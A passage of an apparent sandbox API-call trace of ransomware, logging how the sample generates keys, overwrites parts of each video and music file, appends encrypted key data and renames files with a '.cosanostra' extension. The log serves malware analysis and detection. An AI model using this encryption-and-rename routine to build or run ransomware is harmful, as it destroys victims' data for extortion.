lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\oIvq\\o6owe.avi.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\oivq\\o6owe.avi.cosanostra")) returned 1 [0097.072] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff440 | out: pbBuffer=0x26ff440) returned 1 [0097.072] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff438*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff438*=0x30) returned 1 [0097.072] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\oIvq\\lq1p.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\oivq\\lq1p.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0097.072] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\oIvq\\lq1p.mp4") returned 75 [0097.072] StrStrW (lpFirst="lq1p.mp4", lpSrch=".txt") returned 0x0 [0097.073] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.073] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff3fc, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x26ff3fc*=0x2800, lpOverlapped=0x0) returned 1 [0097.073] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.073] WriteFile (in: hFile=0x180, lpBuffer=0x26ff43c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff3fc, lpOverlapped=0x0 | out: lpBuffer=0x26ff43c*, lpNumberOfBytesWritten=0x26ff3fc*=0x4, lpOverlapped=0x0) returned 1 [0097.073] WriteFile (in: hFile=0x180, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff3fc, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff3fc*=0x30, lpOverlapped=0x0) returned 1 [0097.073] CloseHandle (hObject=0x180) returned 1 [0097.073] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\oIvq\\lq1p.mp4.cosanostra") returned 86 [0097.073] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\oIvq\\lq1p.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\oivq\\lq1p.mp4"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\oIvq\\lq1p.mp4.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\oivq\\lq1p.mp4.cosanostra")) returned 1 [0097.075] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff438 | out: pbBuffer=0x26ff438) returned 1 [0097.075] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff430*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff430*=0x30) returned 1 [0097.075] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\oIvq\\fbf4gDf7U7Sy0\\VOrV eScNJBKtf.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\oivq\\fbf4gdf7u7sy0\\vorv escnjbktf.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0097.076] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\oIvq\\fbf4gDf7U7Sy0\\VOrV eScNJBKtf.swf") returned 99 [0097.076] StrStrW (lpFirst="VOrV eScNJBKtf.swf", lpSrch=".txt") returned 0x0 [0097.076] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.076] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff3f4, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x26ff3f4*=0x2800, lpOverlapped=0x0) returned 1 [0097.076] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.077] WriteFile (in: hFile=0x180, lpBuffer=0x26ff434*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff3f4, lpOverlapped=0x0 | out: lpBuffer=0x26ff434*, lpNumberOfBytesWritten=0x26ff3f4*=0x4, lpOverlapped=0x0) returned 1 [0097.077] WriteFile (in: hFile=0x180, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff3f4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff3f4*=0x30, lpOverlapped=0x0) returned 1 [0097.077] CloseHandle (hObject=0x180) returned 1 [0097.077] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\oIvq\\fbf4gDf7U7Sy0\\VOrV eScNJBKtf.swf.cosanostra") returned 110 [0097.077] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\oIvq\\fbf4gDf7U7Sy0\\VOrV eScNJBKtf.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\oivq\\fbf4gdf7u7sy0\\vorv escnjbktf.swf"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\oIvq\\fbf4gDf7U7Sy0\\VOrV eScNJBKtf.swf.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\oivq\\fbf4gdf7u7sy0\\vorv escnjbktf.swf.cosanostra")) returned 1 [0097.078] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff430 | out: pbBuffer=0x26ff430) returned 1 [0097.078] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff428*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff428*=0x30) returned 1 [0097.078] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\oIvq\\fbf4gDf7U7Sy0\\CN08.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\oivq\\fbf4gdf7u7sy0\\cn08.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0097.079] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\oIvq\\fbf4gDf7U7Sy0\\CN08.mkv") returned 89 [0097.079] StrStrW (lpFirst="CN08.mkv", lpSrch=".txt") returned 0x0 [0097.079] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.080] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff3ec, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x26ff3ec*=0x2800, lpOverlapped=0x0) returned 1 [0097.080] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.080] WriteFile (in: hFile=0x180, lpBuffer=0x26ff42c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff3ec, lpOverlapped=0x0 | out: lpBuffer=0x26ff42c*, lpNumberOfBytesWritten=0x26ff3ec*=0x4, lpOverlapped=0x0) returned 1 [0097.080] WriteFile (in: hFile=0x180, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff3ec, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff3ec*=0x30, lpOverlapped=0x0) returned 1 [0097.081] CloseHandle (hObject=0x180) returned 1 [0097.081] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\oIvq\\fbf4gDf7U7Sy0\\CN08.mkv.cosanostra") returned 100 [0097.081] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\oIvq\\fbf4gDf7U7Sy0\\CN08.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\oivq\\fbf4gdf7u7sy0\\cn08.mkv"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\oIvq\\fbf4gDf7U7Sy0\\CN08.mkv.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\oivq\\fbf4gdf7u7sy0\\cn08.mkv.cosanostra")) returned 1 [0097.084] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff430 | out: pbBuffer=0x26ff430) returned 1 [0097.084] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff428*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff428*=0x30) returned 1 [0097.084] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\oIvq\\fbf4gDf7U7Sy0\\bvz2Zc8GNrh6BYotdo2.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\oivq\\fbf4gdf7u7sy0\\bvz2zc8gnrh6byotdo2.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0097.085] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\oIvq\\fbf4gDf7U7Sy0\\bvz2Zc8GNrh6BYotdo2.avi") returned 104 [0097.085] StrStrW (lpFirst="bvz2Zc8GNrh6BYotdo2.avi", lpSrch=".txt") returned 0x0 [0097.086] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.086] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff3ec, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x26ff3ec*=0x2800, lpOverlapped=0x0) returned 1 [0097.086] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.086] WriteFile (in: hFile=0x180, lpBuffer=0x26ff42c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff3ec, lpOverlapped=0x0 | out: lpBuffer=0x26ff42c*, lpNumberOfBytesWritten=0x26ff3ec*=0x4, lpOverlapped=0x0) returned 1 [0097.086] WriteFile (in: hFile=0x180, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff3ec, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff3ec*=0x30, lpOverlapped=0x0) returned 1 [0097.086] CloseHandle (hObject=0x180) returned 1 [0097.086] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\oIvq\\fbf4gDf7U7Sy0\\bvz2Zc8GNrh6BYotdo2.avi.cosanostra") returned 115 [0097.086] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\oIvq\\fbf4gDf7U7Sy0\\bvz2Zc8GNrh6BYotdo2.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\oivq\\fbf4gdf7u7sy0\\bvz2zc8gnrh6byotdo2.avi"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\oIvq\\fbf4gDf7U7Sy0\\bvz2Zc8GNrh6BYotdo2.avi.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\oivq\\fbf4gdf7u7sy0\\bvz2zc8gnrh6byotdo2.avi.cosanostra")) returned 1 [0097.087] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff428 | out: pbBuffer=0x26ff428) returned 1 [0097.087] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff420*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff420*=0x30) returned 1 [0097.087] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\oIvq\\fbf4gDf7U7Sy0\\B0PCUD_gxpOZ6kC0_YNt.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\oivq\\fbf4gdf7u7sy0\\b0pcud_gxpoz6kc0_ynt.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0097.088] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\oIvq\\fbf4gDf7U7Sy0\\B0PCUD_gxpOZ6kC0_YNt.flv") returned 105 [0097.088] StrStrW (lpFirst="B0PCUD_gxpOZ6kC0_YNt.flv", lpSrch=".txt") returned 0x0 [0097.088] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.088] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff3e4, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x26ff3e4*=0x2800, lpOverlapped=0x0) returned 1 [0097.088] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.088] WriteFile (in: hFile=0x180, lpBuffer=0x26ff424*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff3e4, lpOverlapped=0x0 | out: lpBuffer=0x26ff424*, lpNumberOfBytesWritten=0x26ff3e4*=0x4, lpOverlapped=0x0) returned 1 [0097.089] WriteFile (in: hFile=0x180, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff3e4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff3e4*=0x30, lpOverlapped=0x0) returned 1 [0097.089] CloseHandle (hObject=0x180) returned 1 [0097.089] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\oIvq\\fbf4gDf7U7Sy0\\B0PCUD_gxpOZ6kC0_YNt.flv.cosanostra") returned 116 [0097.089] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\oIvq\\fbf4gDf7U7Sy0\\B0PCUD_gxpOZ6kC0_YNt.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\oivq\\fbf4gdf7u7sy0\\b0pcud_gxpoz6kc0_ynt.flv"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\oIvq\\fbf4gDf7U7Sy0\\B0PCUD_gxpOZ6kC0_YNt.flv.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\oivq\\fbf4gdf7u7sy0\\b0pcud_gxpoz6kc0_ynt.flv.cosanostra")) returned 1 [0097.089] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff428 | out: pbBuffer=0x26ff428) returned 1 [0097.090] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff420*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff420*=0x30) returned 1 [0097.090] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\oIvq\\fbf4gDf7U7Sy0\\Al6zrry4ce.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\oivq\\fbf4gdf7u7sy0\\al6zrry4ce.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0097.090] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\oIvq\\fbf4gDf7U7Sy0\\Al6zrry4ce.swf") returned 95 [0097.090] StrStrW (lpFirst="Al6zrry4ce.swf", lpSrch=".txt") returned 0x0 [0097.091] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffef0e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.091] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x10f2, lpNumberOfBytesWritten=0x26ff3e4, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x26ff3e4*=0x10f2, lpOverlapped=0x0) returned 1 [0097.091] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.091] WriteFile (in: hFile=0x180, lpBuffer=0x26ff424*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff3e4, lpOverlapped=0x0 | out: lpBuffer=0x26ff424*, lpNumberOfBytesWritten=0x26ff3e4*=0x4, lpOverlapped=0x0) returned 1 [0097.091] WriteFile (in: hFile=0x180, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff3e4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff3e4*=0x30, lpOverlapped=0x0) returned 1 [0097.091] CloseHandle (hObject=0x180) returned 1 [0097.091] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\oIvq\\fbf4gDf7U7Sy0\\Al6zrry4ce.swf.cosanostra") returned 106 [0097.091] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\oIvq\\fbf4gDf7U7Sy0\\Al6zrry4ce.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\oivq\\fbf4gdf7u7sy0\\al6zrry4ce.swf"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\oIvq\\fbf4gDf7U7Sy0\\Al6zrry4ce.swf.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\oivq\\fbf4gdf7u7sy0\\al6zrry4ce.swf.cosanostra")) returned 1 [0097.092] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff420 | out: pbBuffer=0x26ff420) returned 1 [0097.092] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff418*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff418*=0x30) returned 1 [0097.092] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\oIvq\\el3XaZtfN.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\oivq\\el3xaztfn.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0097.092] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\oIvq\\el3XaZtfN.mkv") returned 80 [0097.092] StrStrW (lpFirst="el3XaZtfN.mkv", lpSrch=".txt") returned 0x0 [0097.520] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.520] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff3dc, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x26ff3dc*=0x2800, lpOverlapped=0x0) returned 1 [0097.520] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.520] WriteFile (in: hFile=0x180, lpBuffer=0x26ff41c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff3dc, lpOverlapped=0x0 | out: lpBuffer=0x26ff41c*, lpNumberOfBytesWritten=0x26ff3dc*=0x4, lpOverlapped=0x0) returned 1 [0097.521] WriteFile (in: hFile=0x180, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff3dc, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff3dc*=0x30, lpOverlapped=0x0) returned 1 [0097.521] CloseHandle (hObject=0x180) returned 1 [0097.521] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\oIvq\\el3XaZtfN.mkv.cosanostra") returned 91 [0097.521] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\oIvq\\el3XaZtfN.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\oivq\\el3xaztfn.mkv"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\oIvq\\el3XaZtfN.mkv.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\oivq\\el3xaztfn.mkv.cosanostra")) returned 1 [0097.688] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff418 | out: pbBuffer=0x26ff418) returned 1 [0097.688] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x26ff410*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x26ff410*=0x30) returned 1 [0097.688] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\7C20RN4oKduWzZ3r\\7wItDdj.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2slz-cavoga6c1q3\\ojhor84m6opy\\7c20rn4okduwzz3r\\7witddj.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.689] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\7C20RN4oKduWzZ3r\\7wItDdj.mp3") returned 99 [0097.689] StrStrW (lpFirst="7wItDdj.mp3", lpSrch=".txt") returned 0x0 [0097.693] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.693] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff3d4, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x26ff3d4*=0x2800, lpOverlapped=0x0) returned 1 [0097.693] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.693] WriteFile (in: hFile=0x138, lpBuffer=0x26ff414*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff3d4, lpOverlapped=0x0 | out: lpBuffer=0x26ff414*, lpNumberOfBytesWritten=0x26ff3d4*=0x4, lpOverlapped=0x0) returned 1 [0097.693] WriteFile (in: hFile=0x138, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff3d4, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x26ff3d4*=0x30, lpOverlapped=0x0) returned 1 [0097.693] CloseHandle (hObject=0x138) returned 1 [0097.699] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\7C20RN4oKduWzZ3r\\7wItDdj.mp3.cosanostra") returned 110 [0097.699] MoveFileW 